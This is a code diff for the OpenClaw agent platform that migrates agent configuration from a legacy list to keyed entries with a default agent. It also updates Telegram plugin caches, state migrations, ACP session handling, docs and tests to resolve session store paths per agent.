diff --git a/docs/.generated/plugin-sdk-api-baseline.sha256 b/docs/.generated/plugin-sdk-api-baseline.sha256 index dd9bcc95cfa1..3e94ea51ec8f 100644 --- a/docs/.generated/plugin-sdk-api-baseline.sha256 +++ b/docs/.generated/plugin-sdk-api-baseline.sha256 @@ -84,8 +84,8 @@ a5f59c9acbcaa3f82247bf806eb5ba08032373fb853719f0ec9457690f16fc70 module/media-m c5e3eb1a584f4b8126d9d6c177a840ec9103671e8d1242634ee67db9b5b9e573 module/media-understanding c0ffaed532578cf33493992e1ff806b2268b8e3774a92edbaede5cf5bda162a6 module/media-understanding-runtime bebd2931dc51d67c063ff19fa1c278f8dcfe00ab23cfbd480d47329ea8e5088e module/meeting-runtime -d09ddb38c9d20a41fcf4cedaf6a2c28eb5333a9fba2287e34b458fa5caba751c module/memory-core-host-engine-foundation -646773d8282a2ac6a89101685c406200935ddb3459a2830e820da132fa433b3c module/memory-host-core +6b396a29c4efcd562accbd22dfa474f7815ce039cb8314a4771c2e37b5431ab4 module/memory-core-host-engine-foundation +5d4d709d5ae573186459462fe5119bd253c13104554eb94aefbdab5f5c7ad46f module/memory-host-core 87b7a3206346c0d4b294fb3a2395cbaabc3e73ff8b1b9ea925bc3aade3e52687 module/messaging-targets 09f842a2787b87117d88ba6545aa0441ff8afdb85e2e66ae4d1838ebecb16148 module/model-session-runtime 44655a08ce111a036c837b8d2e796cf0036941379ab317e5764c6c01e73b39f3 module/models-provider-runtime @@ -105,7 +105,7 @@ aa2a56b4448c8ebdec9d06aac95d809995f533093d42fa32cd75e1d852967245 module/questio ac2b199e95c5c8b1e2a65e62bd41d1b6322e531bca294ef4979a297a12640bce module/reply-history f394fe4d5a7ed9e4d574063ae44e8d6af85c9a0e7d8b329f750ca16b0664325f module/reply-payload 94356c388b1c5bc4ffb7fef6ece1e2fc5f6c9f0eaf0c280594b29230baf9af81 module/reply-runtime -d78db621b8f4f0cc679cad2d5d21b6c95b5418c58611dd347cdf09049ed124f6 module/routing +536341e301631a14ac67bd7e8d10d2ba770ff91c5f7a2c5dc8dd9dfd1c1c7ec4 module/routing ff6cca86f54f94f238205f5b122af36666314e0a380f3ec7f0ccb9ed9208df31 module/run-command 53b0295cec105696a1664c5c7f5576a7b55d197eb95dcd9185486f010bd53750 module/runtime fcf103d18c1d64ffa9719f1d5a1ca349df3a6125d00c9d54a1b76c195ba8691b module/runtime-config-snapshot @@ -117,7 +117,7 @@ b6b8edc50ecab8386c9acd8f374a207212b5a99c8f518538bbcf0c458dda3881 module/runtime 17a6a199714ba8308e62928c0491bcf9fd214c923c3879aa99a047a30138253d module/secret-ref-runtime 596a315d426121c9620b314e3a9a7f523840b46e007d94d0d5e83cdedf789d15 module/security-runtime 31b785e74f1f8f56241b7756ef6a5d86199c5ce177cbb1c234a261866972f270 module/session-discussion -82f1f06f875097ee894348e74346fde79325c8fee7106b51438aaec1f539cbff module/session-store-runtime +32fb6d253abf22440bc76c7a68d1f35fc0ef369b0ad738aedba9c3054a76e48e module/session-store-runtime 7cad408673562b0ff33f60071698bea2c39d02c64f4f235851c5c2ceb946910d module/setup fbcb853789db5a1ad5d81e8094ed7f5bcea657ac2281e7887a19c1d6f1194571 module/setup-runtime cd431f6ba8327b81438b7a63b1963120f200f5abd145fb6aa7c5c561339cb0b1 module/setup-tools diff --git a/docs/channels/discord.md b/docs/channels/discord.md index 68b5c2a5f0bc..5cb9343e40cd 100644 --- a/docs/channels/discord.md +++ b/docs/channels/discord.md @@ -810,6 +810,7 @@ See [Slash commands](/tools/slash-commands) for the command catalog and behavior agents: { entries: { codex: { + default: true, runtime: { type: "acp", acp: { diff --git a/docs/channels/group-messages.md b/docs/channels/group-messages.md index ab2632a2505d..03d8b9cc9e29 100644 --- a/docs/channels/group-messages.md +++ b/docs/channels/group-messages.md @@ -44,6 +44,7 @@ Make display-name pings work even when WhatsApp strips the visual `@` from the t agents: { entries: { main: { + default: true, groupChat: { mentionPatterns: ["@?openclaw", "\\+?15555550123"], }, diff --git a/docs/channels/groups.md b/docs/channels/groups.md index 72a72f613aeb..b2d4b3014a15 100644 --- a/docs/channels/groups.md +++ b/docs/channels/groups.md @@ -346,6 +346,7 @@ Each fact defaults to enabled when the channel produces it. Set the correspondin agents: { entries: { main: { + default: true, groupChat: { mentionPatterns: ["@openclaw", "openclaw", "\\+15555550123"], historyLimit: 50, diff --git a/extensions/msteams/doctor-contract-api.ts b/extensions/msteams/doctor-contract-api.ts index 5eac8eb17d13..c3b9f80b6581 100644 --- a/extensions/msteams/doctor-contract-api.ts +++ b/extensions/msteams/doctor-contract-api.ts @@ -147,8 +147,15 @@ function resolveLegacySanitizedSessionKey( return matches.length === 1 && match ? match : null; } -function listAgentIds(config: { agents?: { list?: Array<{ id?: unknown }> } }): string[] { +function listAgentIds(config: OpenClawConfig): string[] { const ids = new Set(["main"]); + if (isRecord(config.agents?.entries)) { + for (const agentId of Object.keys(config.agents.entries)) { + if (agentId.trim()) { + ids.add(agentId.trim()); + } + } + } for (const agent of config.agents?.list ?? []) { if (typeof agent.id === "string" && agent.id.trim()) { ids.add(agent.id.trim()); @@ -162,7 +169,6 @@ function listCandidateStorePaths(params: { env: NodeJS.ProcessEnv; }): string[] { const paths = new Set(); - paths.add(resolveStorePath(params.config.session?.store, { env: params.env })); for (const agentId of listAgentIds(params.config)) { paths.add(resolveStorePath(params.config.session?.store, { agentId, env: params.env })); } diff --git a/extensions/telegram/src/bot-handlers.message-context.runtime.ts b/extensions/telegram/src/bot-handlers.message-context.runtime.ts index 295d4e710252..655810a508cc 100644 --- a/extensions/telegram/src/bot-handlers.message-context.runtime.ts +++ b/extensions/telegram/src/bot-handlers.message-context.runtime.ts @@ -1,5 +1,6 @@ // Telegram reply-chain cache and prompt-context projection. import type { Message } from "grammy/types"; +import { resolveDefaultAgentId } from "openclaw/plugin-sdk/agent-runtime"; import type { OpenClawConfig, TelegramAccountConfig } from "openclaw/plugin-sdk/config-contracts"; import { DEFAULT_GROUP_HISTORY_LIMIT } from "openclaw/plugin-sdk/reply-history"; import { stripInlineDirectiveTagsForDelivery } from "openclaw/plugin-sdk/text-chunking"; @@ -55,7 +56,11 @@ export function createTelegramMessageContextRuntime({ "cfg" | "accountId" | "opts" | "telegramCfg" | "telegramDeps" >) { const messageCache = createTelegramMessageCache({ - scope: resolveTelegramMessageCacheScope(telegramDeps.resolveStorePath(cfg.session?.store)), + scope: resolveTelegramMessageCacheScope( + telegramDeps.resolveStorePath(cfg.session?.store, { + agentId: cfg.agents ? resolveDefaultAgentId(cfg) : "main", + }), + ), }); const resolvePromptSender = ( node: TelegramCachedMessageNode, diff --git a/extensions/telegram/src/message-topic-binding.test.ts b/extensions/telegram/src/message-topic-binding.test.ts index bd31798e6244..9e28e779f87f 100644 --- a/extensions/telegram/src/message-topic-binding.test.ts +++ b/extensions/telegram/src/message-topic-binding.test.ts @@ -17,6 +17,7 @@ import { import type { TelegramRuntime } from "./runtime.types.js"; const cfg = { + agents: { entries: { main: { default: true } } }, channels: { telegram: { botToken: "tok" } }, session: { store: "/tmp/openclaw-telegram-topic-binding-test.json" }, } as OpenClawConfig; @@ -66,7 +67,9 @@ async function recordMessage(params: { accountId?: string; }) { const cache = createTelegramMessageCache({ - scope: resolveTelegramMessageCacheScope(resolveStorePath(cfg.session?.store)), + scope: resolveTelegramMessageCacheScope( + resolveStorePath(cfg.session?.store, { agentId: "main" }), + ), }); await cache.record({ accountId: params.accountId ?? "default", diff --git a/extensions/telegram/src/message-topic-binding.ts b/extensions/telegram/src/message-topic-binding.ts index 4b0552f72b97..d4030a686f14 100644 --- a/extensions/telegram/src/message-topic-binding.ts +++ b/extensions/telegram/src/message-topic-binding.ts @@ -1,5 +1,6 @@ // Telegram provider-owned authorization for message mutations in forum topics. import { normalizeAccountId, normalizeOptionalAccountId } from "openclaw/plugin-sdk/account-core"; +import { resolveDefaultAgentId } from "openclaw/plugin-sdk/agent-runtime"; import type { ChannelMessageActionContext, ChannelThreadingToolContext, @@ -112,7 +113,11 @@ export async function resolveTelegramMessageMutationChatId(params: { } const cache = createTelegramMessageCache({ - scope: resolveTelegramMessageCacheScope(resolveStorePath(params.cfg.session?.store)), + scope: resolveTelegramMessageCacheScope( + resolveStorePath(params.cfg.session?.store, { + agentId: params.cfg.agents ? resolveDefaultAgentId(params.cfg) : "main", + }), + ), }); const cached = await cache.get({ accountId: selectedAccountId, diff --git a/extensions/telegram/src/outbound-message-context.ts b/extensions/telegram/src/outbound-message-context.ts index f03f1bd1f082..3d0a57acb178 100644 --- a/extensions/telegram/src/outbound-message-context.ts +++ b/extensions/telegram/src/outbound-message-context.ts @@ -1,5 +1,6 @@ // Telegram plugin module implements outbound message context behavior. import type { Message } from "grammy/types"; +import { resolveDefaultAgentId } from "openclaw/plugin-sdk/agent-runtime"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; import { logVerbose } from "openclaw/plugin-sdk/runtime-env"; import { resolveStorePath } from "openclaw/plugin-sdk/session-store-runtime"; @@ -151,7 +152,11 @@ export async function recordOutboundMessageForPromptContext(params: { ...(messageThreadId !== undefined ? { messageThreadId } : {}), }); const cache = createTelegramMessageCache({ - scope: resolveTelegramMessageCacheScope(resolveStorePath(params.cfg.session?.store)), + scope: resolveTelegramMessageCacheScope( + resolveStorePath(params.cfg.session?.store, { + agentId: params.cfg.agents ? resolveDefaultAgentId(params.cfg) : "main", + }), + ), }); await cache.record({ accountId: params.account.accountId, diff --git a/extensions/telegram/src/sent-message-cache.ts b/extensions/telegram/src/sent-message-cache.ts index 3e1772a73d9e..448420c6eb4f 100644 --- a/extensions/telegram/src/sent-message-cache.ts +++ b/extensions/telegram/src/sent-message-cache.ts @@ -1,6 +1,7 @@ // Telegram plugin module implements sent message cache behavior. import { createHash } from "node:crypto"; import fs from "node:fs"; +import { resolveDefaultAgentId } from "openclaw/plugin-sdk/agent-runtime"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; import type { PluginStateSyncKeyedStore } from "openclaw/plugin-sdk/plugin-state-runtime"; import { logVerbose } from "openclaw/plugin-sdk/runtime-env"; @@ -31,6 +32,8 @@ type SentMessageState = { bucketsByScope: Map; }; +type SentMessageConfig = Pick; + function getSentMessageState(): SentMessageState { const globalStore = globalThis as Record; const existing = globalStore[TELEGRAM_SENT_MESSAGES_STATE_KEY] as SentMessageState | undefined; @@ -48,15 +51,30 @@ function createSentMessageStore(): SentMessageStore { return new Map>(); } -function resolveSentMessageStorePath(cfg?: Pick): string { - return `${resolveStorePath(cfg?.session?.store)}.telegram-sent-messages.json`; +function resolveSentMessageAgentId(cfg?: SentMessageConfig, agentId?: string): string { + return agentId?.trim() || (cfg?.agents ? resolveDefaultAgentId(cfg as OpenClawConfig) : "main"); } -function resolveSentMessageScopeKey(cfg?: Pick): string { - const storePath = resolveStorePath(cfg?.session?.store); +function resolveSentMessageStorePath(cfg?: SentMessageConfig, agentId?: string): string { + return `${resolveStorePath(cfg?.session?.store, { + agentId: resolveSentMessageAgentId(cfg, agentId), + })}.telegram-sent-messages.json`; +} + +function sentMessageScopeKeyForStorePath(storePath: string): string { return createHash("sha256").update(storePath, "utf8").digest("hex").slice(0, 24); } +function resolveSentMessageScopeKey(cfg?: SentMessageConfig, agentId?: string): string { + // This 24-hour cache follows the current agent owner. Do not revive a prior owner's + // transient bucket when the configured default changes. + return sentMessageScopeKeyForStorePath( + resolveStorePath(cfg?.session?.store, { + agentId: resolveSentMessageAgentId(cfg, agentId), + }), + ); +} + function sentMessageEntryKey(scopeKey: string, chatId: string, messageId: string): string { return createHash("sha256") .update(`${scopeKey}\0${chatId}\0${messageId}`, "utf8") @@ -142,7 +160,7 @@ function readPersistedSentMessages(scopeKey: string): SentMessageStore { return store; } -function getSentMessageBucket(cfg?: Pick): SentMessageBucket { +function getSentMessageBucket(cfg?: SentMessageConfig): SentMessageBucket { const state = getSentMessageState(); const scopeKey = resolveSentMessageScopeKey(cfg); const existing = state.bucketsByScope.get(scopeKey); @@ -157,7 +175,7 @@ function getSentMessageBucket(cfg?: Pick): SentMessag return bucket; } -function getSentMessages(cfg?: Pick): SentMessageStore { +function getSentMessages(cfg?: SentMessageConfig): SentMessageStore { return getSentMessageBucket(cfg).store; } @@ -177,7 +195,7 @@ function persistSentMessage( export function recordSentMessage( chatId: number | string, messageId: number, - cfg?: Pick, + cfg?: SentMessageConfig, ): void { const scopeKey = String(chatId); const idKey = String(messageId); @@ -201,7 +219,7 @@ export function recordSentMessage( export function wasSentByBot( chatId: number | string, messageId: number, - cfg?: Pick, + cfg?: SentMessageConfig, ): boolean { const scopeKey = String(chatId); const idKey = String(messageId); @@ -215,11 +233,15 @@ export function wasSentByBot( } export function listTelegramLegacySentMessageCacheEntries(params: { - cfg?: Pick; + cfg?: SentMessageConfig; + agentId?: string; persistedPath?: string; + targetStorePath?: string; }): Array<{ key: string; value: PersistedSentMessage; ttlMs?: number; timestamp?: number }> { - const scopeKey = resolveSentMessageScopeKey(params.cfg); - const filePath = params.persistedPath ?? resolveSentMessageStorePath(params.cfg); + const scopeKey = params.targetStorePath + ? sentMessageScopeKeyForStorePath(params.targetStorePath) + : resolveSentMessageScopeKey(params.cfg, params.agentId); + const filePath = params.persistedPath ?? resolveSentMessageStorePath(params.cfg, params.agentId); const legacy = fs.existsSync(filePath) ? readLegacySentMessages(filePath) : createSentMessageStore(); diff --git a/extensions/telegram/src/state-migrations.test.ts b/extensions/telegram/src/state-migrations.test.ts index 03954639c196..aabd62f7dfdb 100644 --- a/extensions/telegram/src/state-migrations.test.ts +++ b/extensions/telegram/src/state-migrations.test.ts @@ -1,4 +1,5 @@ // Telegram tests cover state migrations plugin behavior. +import { createHash } from "node:crypto"; import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; import os from "node:os"; import path from "node:path"; @@ -128,7 +129,7 @@ describe("telegram state migrations", () => { it("detects legacy message-cache import for the runtime sidecar path", async () => { const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-telegram-state-migration-")); const env = { ...process.env, OPENCLAW_STATE_DIR: dir }; - const storePath = resolveStorePath(undefined, { env }); + const storePath = resolveStorePath(undefined, { env, agentId: "main" }); const persistedPath = resolveTelegramMessageCachePath(storePath); try { await mkdir(path.dirname(persistedPath), { recursive: true }); @@ -339,7 +340,7 @@ describe("telegram state migrations", () => { it("detects remaining Telegram JSON sidecars for plugin-state import", async () => { const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-telegram-state-migration-")); const env = { ...process.env, OPENCLAW_STATE_DIR: dir }; - const storePath = resolveStorePath(undefined, { env }); + const storePath = resolveStorePath(undefined, { env, agentId: "main" }); const now = Date.now(); const updateOffsetPath = path.join(dir, "telegram", "update-offset-ops.json"); const stickerCachePath = path.join(dir, "telegram", "sticker-cache.json"); @@ -483,7 +484,7 @@ describe("telegram state migrations", () => { vi.setSystemTime(new Date("2026-07-15T12:00:00.000Z")); const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-telegram-state-migration-")); const env = { ...process.env, OPENCLAW_STATE_DIR: dir }; - const storePath = resolveStorePath(undefined, { env }); + const storePath = resolveStorePath(undefined, { env, agentId: "main" }); const sentMessagePath = `${storePath}.telegram-sent-messages.json`; const dispatchPath = resolveTelegramMessageDispatchLegacyPath({ storePath, @@ -711,7 +712,7 @@ describe("telegram state migrations", () => { it("imports legacy session-store sidecars into the current runtime scope", async () => { const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-telegram-state-migration-")); const env = { ...process.env, OPENCLAW_STATE_DIR: dir }; - const storePath = resolveStorePath(undefined, { env }); + const storePath = resolveStorePath(undefined, { env, agentId: "main" }); const legacyStorePath = path.join(dir, "sessions", "sessions.json"); const currentSentPath = `${storePath}.telegram-sent-messages.json`; const legacySentPath = `${legacyStorePath}.telegram-sent-messages.json`; @@ -771,9 +772,11 @@ describe("telegram state migrations", () => { const stripTtl = (entries: Awaited>) => entries.map(({ ttlMs: _ttlMs, ...entry }) => entry); - expect(stripTtl(await legacySentPlan.readEntries())).toStrictEqual( - stripTtl(await currentSentPlan.readEntries()), - ); + const currentSentEntries = stripTtl(await currentSentPlan.readEntries()); + expect(stripTtl(await legacySentPlan.readEntries())).toStrictEqual(currentSentEntries); + expect(currentSentEntries[0]?.value).toMatchObject({ + scopeKey: createHash("sha256").update(storePath, "utf8").digest("hex").slice(0, 24), + }); const stripDispatchSourceKey = ( entries: Awaited>, ) => entries.map(({ key: _key, ttlMs: _ttlMs, ...entry }) => entry); diff --git a/extensions/telegram/src/state-migrations.ts b/extensions/telegram/src/state-migrations.ts index c46117e5f81d..e516269cda34 100644 --- a/extensions/telegram/src/state-migrations.ts +++ b/extensions/telegram/src/state-migrations.ts @@ -1,6 +1,7 @@ // Telegram plugin module implements state migrations behavior. import fs from "node:fs"; import path from "node:path"; +import { resolveDefaultAgentId } from "openclaw/plugin-sdk/agent-runtime"; import type { ChannelLegacyStateMigrationPlan } from "openclaw/plugin-sdk/channel-contract"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; import { @@ -87,11 +88,26 @@ function resolveLegacySessionStorePath(params: { return path.join(resolveMigrationStateDir(params), "sessions", "sessions.json"); } +function resolveAgentSessionStorePath(params: { + cfg: OpenClawConfig; + env: NodeJS.ProcessEnv; + agentId: string; +}): string { + return resolveStorePath(params.cfg.session?.store, { + env: params.env, + agentId: params.agentId, + }); +} + function resolveMigrationStateDir(params: { env: NodeJS.ProcessEnv; stateDir?: string }): string { return ( params.stateDir ?? path.dirname( - path.dirname(path.dirname(path.dirname(resolveStorePath(undefined, { env: params.env })))), + path.dirname( + path.dirname( + path.dirname(resolveStorePath(undefined, { env: params.env, agentId: "main" })), + ), + ), ) ); } @@ -309,12 +325,20 @@ function detectTelegramMessageCacheLegacyStateMigration(params: { env: NodeJS.ProcessEnv; stateDir?: string; }): ChannelLegacyStateMigrationPlan[] { - const storePath = resolveStorePath(params.cfg.session?.store, { env: params.env }); + const storePath = resolveAgentSessionStorePath({ + ...params, + agentId: resolveDefaultAgentId(params.cfg), + }); + const legacyMainStorePath = resolveAgentSessionStorePath({ ...params, agentId: "main" }); const runtimePersistedPath = resolveTelegramMessageCachePath(storePath); const legacyStorePath = resolveLegacySessionStorePath(params); const legacyPersistedPath = resolveTelegramMessageCachePath(legacyStorePath); const scopeKey = resolveTelegramMessageCachePersistentScopeKey(runtimePersistedPath); - return uniqueStrings([runtimePersistedPath, legacyPersistedPath]).flatMap((persistedPath) => { + return uniqueStrings([ + runtimePersistedPath, + resolveTelegramMessageCachePath(legacyMainStorePath), + legacyPersistedPath, + ]).flatMap((persistedPath) => { if (!fileExists(persistedPath)) { return []; } @@ -444,12 +468,16 @@ function detectTelegramSentMessageCacheLegacyStateMigration(params: { env: NodeJS.ProcessEnv; stateDir?: string; }): ChannelLegacyStateMigrationPlan[] { - const storePath = resolveStorePath(params.cfg.session?.store, { env: params.env }); + const defaultAgentId = resolveDefaultAgentId(params.cfg); + const storePath = resolveAgentSessionStorePath({ ...params, agentId: defaultAgentId }); + const legacyMainStorePath = resolveAgentSessionStorePath({ ...params, agentId: "main" }); const legacyStorePath = resolveLegacySessionStorePath(params); - const sources = uniqueStrings([storePath, legacyStorePath]).map((sourceStorePath) => ({ - targetStorePath: storePath, - sourcePath: `${sourceStorePath}.telegram-sent-messages.json`, - })); + const sources = uniqueStrings([storePath, legacyMainStorePath, legacyStorePath]).map( + (sourceStorePath) => ({ + targetStorePath: storePath, + sourcePath: `${sourceStorePath}.telegram-sent-messages.json`, + }), + ); return sources.flatMap((source) => { if (!fileExists(source.sourcePath)) { return []; @@ -468,8 +496,10 @@ function detectTelegramSentMessageCacheLegacyStateMigration(params: { preview: `- Telegram sent-message cache: ${source.sourcePath} → plugin state (${TELEGRAM_SENT_MESSAGE_CACHE_NAMESPACE})`, readEntries: () => listTelegramLegacySentMessageCacheEntries({ - cfg: { session: { store: source.targetStorePath } }, + cfg: params.cfg, + agentId: defaultAgentId, persistedPath: source.sourcePath, + targetStorePath: source.targetStorePath, }), }; }); @@ -512,7 +542,11 @@ function detectTelegramMessageDispatchLegacyStateMigration(params: { env: NodeJS.ProcessEnv; stateDir?: string; }): ChannelLegacyStateMigrationPlan[] { - const storePath = resolveStorePath(params.cfg.session?.store, { env: params.env }); + const storePath = resolveAgentSessionStorePath({ + ...params, + agentId: resolveDefaultAgentId(params.cfg), + }); + const legacyMainStorePath = resolveAgentSessionStorePath({ ...params, agentId: "main" }); const legacyStorePath = resolveLegacySessionStorePath(params); const env = params.stateDir ? { ...params.env, OPENCLAW_STATE_DIR: params.stateDir } : params.env; const namespace = resolvePersistentDedupePluginStateNamespace({ @@ -520,12 +554,14 @@ function detectTelegramMessageDispatchLegacyStateMigration(params: { namespacePrefix: TELEGRAM_MESSAGE_DISPATCH_DEDUPE_NAMESPACE_PREFIX, }); return listTelegramAccountIds(params.cfg).flatMap((accountId) => { - const sources = uniqueStrings([storePath, legacyStorePath]).map((sourceStorePath) => ({ - sourcePath: resolveTelegramMessageDispatchLegacyPath({ - storePath: sourceStorePath, - namespace: accountId, + const sources = uniqueStrings([storePath, legacyMainStorePath, legacyStorePath]).map( + (sourceStorePath) => ({ + sourcePath: resolveTelegramMessageDispatchLegacyPath({ + storePath: sourceStorePath, + namespace: accountId, + }), }), - })); + ); const jsonPlans: ChannelLegacyStateMigrationPlan[] = sources.flatMap((source) => { const sourcePath = source.sourcePath; if (!fileExists(sourcePath)) { @@ -612,7 +648,11 @@ function detectTelegramTopicNameCacheLegacyStateMigration(params: { }); return topicNameCacheImportSource({ sourceStorePath: storePath }); }); - const defaultStorePath = resolveStorePath(params.cfg.session?.store, { env: params.env }); + const defaultStorePath = resolveAgentSessionStorePath({ + ...params, + agentId: resolveDefaultAgentId(params.cfg), + }); + const legacyMainStorePath = resolveAgentSessionStorePath({ ...params, agentId: "main" }); const defaultAccountStorePath = resolveStorePath(params.cfg.session?.store, { env: params.env, agentId: resolveDefaultTelegramAccountId(params.cfg), @@ -622,6 +662,7 @@ function detectTelegramTopicNameCacheLegacyStateMigration(params: { [ ...accountSources, topicNameCacheImportSource({ sourceStorePath: defaultStorePath }), + topicNameCacheImportSource({ sourceStorePath: legacyMainStorePath }), topicNameCacheImportSource({ sourceStorePath: legacyStorePath, targetStorePath: defaultAccountStorePath, diff --git a/packages/model-catalog-core/src/configured-model-refs.test.ts b/packages/model-catalog-core/src/configured-model-refs.test.ts index 44aaad8d8752..11034e526820 100644 --- a/packages/model-catalog-core/src/configured-model-refs.test.ts +++ b/packages/model-catalog-core/src/configured-model-refs.test.ts @@ -64,6 +64,33 @@ describe("configured model refs", () => { ).toEqual(["openai/gpt-5.5"]); }); + it("preserves legacy list indices when collecting agent model refs", () => { + expect( + collectConfiguredModelRefs({ + agents: { + list: [ + { id: "10", model: "openai/gpt-5.6" }, + { id: "2", utilityModel: "anthropic/claude-sonnet-4-6" }, + ], + }, + }), + ).toEqual([ + { path: "agents.list.0.model", value: "openai/gpt-5.6" }, + { path: "agents.list.1.utilityModel", value: "anthropic/claude-sonnet-4-6" }, + ]); + }); + + it("ignores a shadowed legacy list when keyed entries are authoritative", () => { + expect( + collectConfiguredModelRefs({ + agents: { + entries: { ops: { model: "openai/gpt-5.6" } }, + list: [{ id: "stale", model: "anthropic/claude-opus-4-8" }], + }, + }), + ).toEqual([{ path: "agents.entries.ops.model", value: "openai/gpt-5.6" }]); + }); + it("ignores array-shaped malformed records", () => { expect( collectConfiguredModelRefs({ diff --git a/packages/model-catalog-core/src/configured-model-refs.ts b/packages/model-catalog-core/src/configured-model-refs.ts index 03d68ad5e9c3..0fd2596210c1 100644 --- a/packages/model-catalog-core/src/configured-model-refs.ts +++ b/packages/model-catalog-core/src/configured-model-refs.ts @@ -86,6 +86,10 @@ export function collectConfiguredModelRefs( for (const [agentId, entry] of Object.entries(agents.entries)) { collectFromAgent(`agents.entries.${agentId}`, entry); } + } else if (Array.isArray(agents.list)) { + for (const [index, entry] of agents.list.entries()) { + collectFromAgent(`agents.list.${index}`, entry); + } } if (options.includeChannelModelOverrides !== false) { const channels = isRecord(root.channels) ? root.channels : {}; diff --git a/scripts/plugin-sdk-surface-report.mjs b/scripts/plugin-sdk-surface-report.mjs index d433152b030c..e750716b7071 100644 --- a/scripts/plugin-sdk-surface-report.mjs +++ b/scripts/plugin-sdk-surface-report.mjs @@ -173,7 +173,8 @@ export function readPluginSdkSurfaceBudgets(env = process.env) { // +6: canonical session delivery normalization, access, and projection helpers. // +5: focused media-local-roots helpers and typed hook media contracts. // +1: model-independent agent-harness preflight failure contract. - 4717, + // +1: typed owner-required error for session store path resolution. + 4718, env, ), publicFunctionExports: readPluginSdkSurfaceBudgetEnv( diff --git a/src/acp/runtime/session-meta.ts b/src/acp/runtime/session-meta.ts index e753c5eee8c2..9b142817be87 100644 --- a/src/acp/runtime/session-meta.ts +++ b/src/acp/runtime/session-meta.ts @@ -4,6 +4,7 @@ import { safeParseJson } from "@openclaw/normalization-core"; import { asOptionalRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; import type { Insertable, Selectable } from "kysely"; +import { resolveDefaultAgentId } from "../../agents/agent-scope-config.js"; import { getRuntimeConfig } from "../../config/config.js"; import { resolveStorePath } from "../../config/sessions/paths.js"; import { @@ -82,14 +83,11 @@ export function resolveSessionStorePathForAcp(params: { }): { cfg: OpenClawConfig; agentId?: string; storePath: string } { const cfg = params.cfg ?? getRuntimeConfig(); const parsed = parseAgentSessionKey(params.sessionKey); - const storePath = resolveStorePath(cfg.session?.store, { - agentId: parsed?.agentId, - env: params.env, - }); + const agentId = parsed?.agentId ?? resolveDefaultAgentId(cfg); return { cfg, - ...(parsed?.agentId ? { agentId: parsed.agentId } : {}), - storePath, + agentId, + storePath: resolveStorePath(cfg.session?.store, { agentId, env: params.env }), }; } diff --git a/src/agents/acp-spawn.ts b/src/agents/acp-spawn.ts index 1f57f2543cad..3a1b542c8917 100644 --- a/src/agents/acp-spawn.ts +++ b/src/agents/acp-spawn.ts @@ -68,6 +68,7 @@ import { type AcpSpawnParentRelayHandle, startAcpSpawnParentStreamRelay, } from "./acp-spawn-parent-stream.js"; +import { listAgentEntries } from "./agent-scope-config.js"; import { listAgentIds, resolveAgentConfig, resolveDefaultAgentId } from "./agent-scope.js"; import { findAcpUnsupportedInheritedToolAllow, @@ -349,7 +350,7 @@ function isHeartbeatEnabledForSessionAgent(params: { return true; } - const agentEntries = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; + const agentEntries = listAgentEntries(params.cfg); const hasExplicitHeartbeatAgents = agentEntries.some((entry) => Boolean(entry?.heartbeat)); const enabledByPolicy = hasExplicitHeartbeatAgents ? agentEntries.some( @@ -435,7 +436,7 @@ function resolveTargetAcpAgentId(params: { }): { ok: true; agentId: string; configAgentId?: string } | { ok: false; error: string } { const requested = normalizeOptionalAgentId(params.requestedAgentId); if (requested) { - const configuredAgent = params.cfg.agents?.list?.find( + const configuredAgent = listAgentEntries(params.cfg).find( (agent) => normalizeOptionalAgentId(agent.id) === requested, ); if (configuredAgent?.runtime?.type === "acp") { @@ -485,7 +486,7 @@ function isExplicitlyAllowedAcpAgent(cfg: OpenClawConfig, agentId: string): bool function resolveConfiguredAcpSubagentTargetIds(cfg: OpenClawConfig): string[] { const ids = new Set(listAgentIds(cfg)); - for (const agent of cfg.agents?.list ?? []) { + for (const agent of listAgentEntries(cfg)) { if (agent.runtime?.type !== "acp") { continue; } @@ -1246,7 +1247,7 @@ export async function spawnAcpDirect( let initializedRuntime: AcpSpawnRuntimeCloseHandle | undefined; const childIdem = crypto.randomUUID(); const parentAgentId = parentSessionKey - ? resolveAgentIdFromSessionKey(parentSessionKey) + ? resolveAgentIdFromSessionKey(parentSessionKey, resolveDefaultAgentId(cfg)) : undefined; // Resolve parent session delivery context so system events route to the // correct thread/topic instead of falling back to the main DM. diff --git a/src/agents/agent-create.integration.test.ts b/src/agents/agent-create.integration.test.ts index 0a058b7ffb84..f4f0482e381b 100644 --- a/src/agents/agent-create.integration.test.ts +++ b/src/agents/agent-create.integration.test.ts @@ -1,6 +1,8 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { expect, it } from "vitest"; +import { describe, expect, it } from "vitest"; +import { mutateConfigFileWithRetry } from "../config/config.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; import { createOpenClawTestState } from "../test-utils/openclaw-test-state.js"; import { createAgent } from "./agent-create.js"; @@ -38,3 +40,80 @@ it("keeps a fresh named workspace pending through the first run setup", async () await state.cleanup(); } }); + +describe("agent roster persistence", () => { + async function addWorkerToConfig(config: unknown): Promise { + const state = await createOpenClawTestState({ + layout: "state-only", + scenario: "empty", + label: "agent-roster-write", + }); + try { + await state.writeConfig(config); + const result = await createAgent({ name: "Worker", workspace: state.path("worker") }); + expect(result).toMatchObject({ status: "created", agentId: "worker" }); + return JSON.parse(await fs.readFile(state.configPath, "utf8")) as OpenClawConfig; + } finally { + closeOpenClawStateDatabaseForTest(); + await state.cleanup(); + } + } + + it("writes injected main and a new worker as one complete keyed roster", async () => { + const persisted = await addWorkerToConfig({ gateway: { mode: "local" } }); + + expect(persisted.agents?.entries).toMatchObject({ + main: { default: true }, + worker: { workspace: expect.any(String) }, + }); + expect( + Object.values(persisted.agents?.entries ?? {}).filter((entry) => entry.default === true), + ).toHaveLength(1); + }); + + it("replaces a legacy list with the complete keyed roster", async () => { + const persisted = await addWorkerToConfig({ + agents: { + list: [ + { id: "main", default: true }, + { id: "ops", workspace: "/srv/ops" }, + 